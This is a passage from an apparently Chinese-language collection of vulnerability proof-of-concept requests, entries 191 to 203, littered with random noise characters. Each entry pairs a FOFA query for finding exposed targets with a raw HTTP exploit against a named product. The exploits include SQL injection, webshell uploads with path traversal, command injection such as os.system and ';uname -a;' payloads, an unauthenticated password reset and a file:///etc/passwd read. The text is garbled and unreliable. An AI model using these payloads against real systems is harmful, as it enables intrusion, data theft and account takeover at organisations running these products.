Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, r8 @, H: P. N7 m5 |" X2 A
" W1 [% F1 Q8 g3 i3 h5 Opoi=file:///etc/passwd

# o$ v: a/ b& \" D5 ^
3 G' y: E- e8 O2 o; S191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
2 j( P  V4 l% ?POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
; S0 K, ]7 r7 n& N: B: [( P/ \7 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
+ G( X# S& l  g+ j3 H  r( @
1 T: b& I; z/ R4 z# k! \1 `command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
- V, S8 z- C% ?6 d5 |' z8 U
! \$ W- n; I- m$ o, D! R
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded


: g+ l, N. b' I2 h! G3 @<% @ webhandler language="C#" class="AverageHandler" %>
+ v+ |. ]8 ]# n( Uusing System;
using System.Web;
public class AverageHandler : IHttpHandler
% `, l% I* x' ^, `' Q9 J. J{
public bool IsReusable
{ get { return true; } }
5 |. d$ p4 W8 ?public void ProcessRequest(HttpContext ctx)
* H: |- t) C) d% t2 M7 t" \+ p{
ctx.Response.Write("test");
7 r# ^" B# a$ S}
}


7 N1 W6 z6 f' {. p' w( K& e193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
9 Q7 p+ {4 X. LContent-Type: application/x-www-form-urlencoded
+ Z+ s1 G" P! VUser-Agent: Mozilla/5.0


* Q- N0 C$ f+ l/ V& z! ~) @POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
) [4 P7 u  E2 C* J8 w7 v- D. wHost:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
) S8 G8 F9 N8 b! Z5 _1 h! ^4 [% d% QAccept: */*
. X. q+ z9 Z+ }# d1 _; K% }4 `2 t2 \Connection: close
Cookie: PHPSESSID=2333333333333;
) ]. x- p( l* K# P$ q/ K4 ^Content-Type: application/x-www-form-urlencoded
: I, e4 T* X: P/ ]Content-Length: 84
1 t# `) ^- a' c" B3 o! u9 s
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
* `. W0 X8 o/ H6 ]+ a* ^5 M
1 F8 Y, q( J; u$ X
  E+ T8 \  Y; w7 CGET /master/img/config HTTP/1.1
) i1 q* n- w2 \- R8 o" w% aHost:
# z" [% n7 d' d2 b9 [User-Agent: Mozilla/5.0
! X# ?8 C6 a. L1 U% V4 ?( _

& W2 v' |, _: f4 J2 `6 i0 t& X- e* I194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
% M) r+ P$ I8 s) r' k  C8 c4 x
POST /servlet/uploadAttachmentServlet HTTP/1.1
3 H- z; S3 K# M& z, t! AHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
! Y. l# u& _4 w9 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& G1 o6 I. E) L7 }0 m7 QAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
) C  Y& |4 n* H4 a, x0 Q
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
  ?8 g7 K" Y% |Content-Type: text/plain
0 N& n( e& }8 n) E# z7 k5 Q* ]5 u& U4 x<% out.println("hello");%>
+ b/ S1 F7 X# V+ x% v+ A------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
4 I6 ~) Y: C5 _! J# T. K {"iq":{"query":{"UpdateType":"mail"}}}
9 }+ i) Z( Q/ `# ~: ^* r------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
6 G' x9 A$ M4 n: K4 B. t

195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
( i- H, V8 P& R% ?$ \6 @) t3 tPragma: no-cache
Cache-Control: no-cache
' j4 N/ Z/ L9 K* m: ~- Q4 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
, N* @' X, C/ T, N. S# R  AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 }% |) e; a/ Q0 f+ a8 YConnection: close
6 J# `1 D* |- {4 y$ }Content-Type: application/x-www-form-urlencoded
) Q9 H( s# ?) L2 @3 YContent-Length: 68
* a) P' F6 R8 n: |- |" Q7 {* \
* Q+ T2 t5 E" |) H$ i{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
. H0 y: d; k* _
0 L. ^& _% O7 @  q
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
( Y; F# [6 V4 }; XPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
3 c3 S% f7 C0 h7 EHost:
' [9 W7 f- `/ ZAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
% `$ S' q/ i7 ~Content-Length: 45
Connection: close
5 d1 I& ^. ?) A( {4 d3 C: B8 k" m: `5 C) i
{"xgh":"test","newPass":"test666","email":""}

% R8 i" `& ^2 g8 h  K. ~+ e
( m/ b( E8 z& p2 y8 u
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
1 K* G+ g. }0 d* n, NFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
% x3 G$ V$ O3 i% e/ K, HHost:
$ N/ i. V# |" N, n/ @+ |. x& d4 cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
. Z2 t" p8 t6 P' |7 E5 U0 JAccept-Encoding: gzip, deflate
" @  W( y* _8 s0 p. h# B% V# H* yConnection: close



198.  阿里云盘 WebDAV 命令注入
/ ^. ?7 I' u1 \; ZCVE-2024-29640
' Q9 h/ }1 ^$ u- H  a+ |. PGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
9 ]2 q+ ~. g  K& K+ F  [  DCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
* t! J7 @: M, |4 y- p3 D
& U0 q6 U' ], F# t
199. cockpit系统assetsmanager_upload接口 文件上传

6 W+ k; Y+ }1 R* y0 b: H# p# m' y1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
& y' o9 i6 R% }: A1 G. U' T
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
- T1 X) ^1 _+ ^! }. t5 D
7 Z; G0 W: N' c6 f2.使用刚才上一步获取到的jwt获取cookie：

$ E. x1 V5 n# J# e$ e0 Q* JPOST /auth/check HTTP/1.1
, ^0 D6 g, q8 I2 EContent-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
, n9 T! X0 t) K5 P1 M& [, Z# v; o
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
6 c" H% y8 L$ y8 z3 G! pContent-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
( T  T' h3 Q+ b9 s+ ^0 f' B: @1 W5 F
-----------------------------36D28FBc36bd6feE7Fb3--
) g, [" B( j( _  k

5 c& l+ ~/ t$ t* e+ Q, i/storage/uploads/tttt.php
7 Z5 P6 f+ p; ^+ O9 G$ f
4 E4 ?9 P. F/ n2 O. N5 b& N- W3 R  c200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
' u  q/ M! [; }1 @/ \; x! KGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
$ l) H" n" ]5 Y8 n! QCache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ L: ~  S$ @. u* V! |7 jAccept-Encoding: gzip, deflate
% I4 J6 b: m  h- \4 Q. ~+ c- |Accept-Language: zh-CN,zh;q=0.9

/ p. L* u2 k! Q, V% Z" u
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
2 c' J1 B: @( R1 k1 R0 p! E6 MPOST /newsedit/newsplan/task/binary.do HTTP/1.1
! t8 u8 O4 @$ {9 V5 aContent-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 m8 K7 G( D/ ]" f5 rAccept-Encoding: gzip, deflate
4 c2 [6 Z; m$ {0 a3 t9 P& TAccept-Language: zh-CN,zh;q=0.9
Connection: close
" n' B( |, V; ~# V9 \
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


, K9 _1 {8 P( q: v( e  Y1 u7 i' ~202. 微擎系统 AccountEdit任意文件上传
8 z4 U; {! U4 ^' m/ l* ^0 eFOFA：body="/Widgets/WidgetCollection/"
0 p5 a# m$ c2 Z& x, i  s获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
. Y! E! O( |  w6 XHost: 滑板人之家
% t3 o6 J& g% _, Z) ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
- N# a/ I! l  ]. `1 V1 Q* V4 \Content-Length: 0
- ^! ^* `$ @% h' V2 ~4 a5 V8 |
9 f& m# ~* s% Z3 J  R* W! ^# B/ H
2 i9 a$ @: u2 R替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
1 A. W" g8 k/ u3 _( }) h! }
. ~4 C+ D. B% P% g" w" ^5 M; h. K-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
3 U5 K; ^; F& R8 u* O; O+ |-----------------------------786435874t38587593865736587346567358735687
! z( j0 }, t' r" P+ E1 B5 I0 h2 D6 ]Content-Disposition: form-data; name="__EVENTVALIDATION"
8 q7 o; C* o: b* j  d; F/ R5 W% C
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
. D9 J! s. W8 Z- O7 OContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

9 l# x# _3 `5 ?+ o& a! R. ^Hello World!
0 V+ }3 v7 k6 b2 G. L-----------------------------786435874t38587593865736587346567358735687
+ O  Y% E# ?: X* }& @/ [! @Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
, I( e+ L6 u0 e! [1 q7 h) {-----------------------------786435874t38587593865736587346567358735687
" D) ]6 g* |2 BContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


3 b- B% M. \! c8 ^$ v  ?-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

$ c: G5 \2 n0 L
-----------------------------786435874t38587593865736587346567358735687--


/_data/Uploads/1123.txt
+ \, {, {1 r7 l! L. ]4 ~
203. 红海云EHR PtFjk 文件上传
5 k$ @9 Z" G' F3 i" A7 z8 aFOFA：body="RedseaPlatform"
) P, f/ k6 U  SPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
$ ~7 `' W' p0 K0 M$ s( S- VHost: x.x.x.x
2 ]8 x# c* u. `1 l% C5 yAccept-Encoding: gzip
% G4 v+ J# g( M' {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! [& f2 I( \0 i7 ^Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
* |8 b7 a; e; \9 F* s: l) q) e/ HContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
8 F% r3 C2 g" j! ]6 {4 f

7 \5 M# @2 \, }) y, X0 T" z0 ~% D; Y
4 Z" N7 D% ]6 Q- y1 j6 |


7 P& P' L( X0 D9 O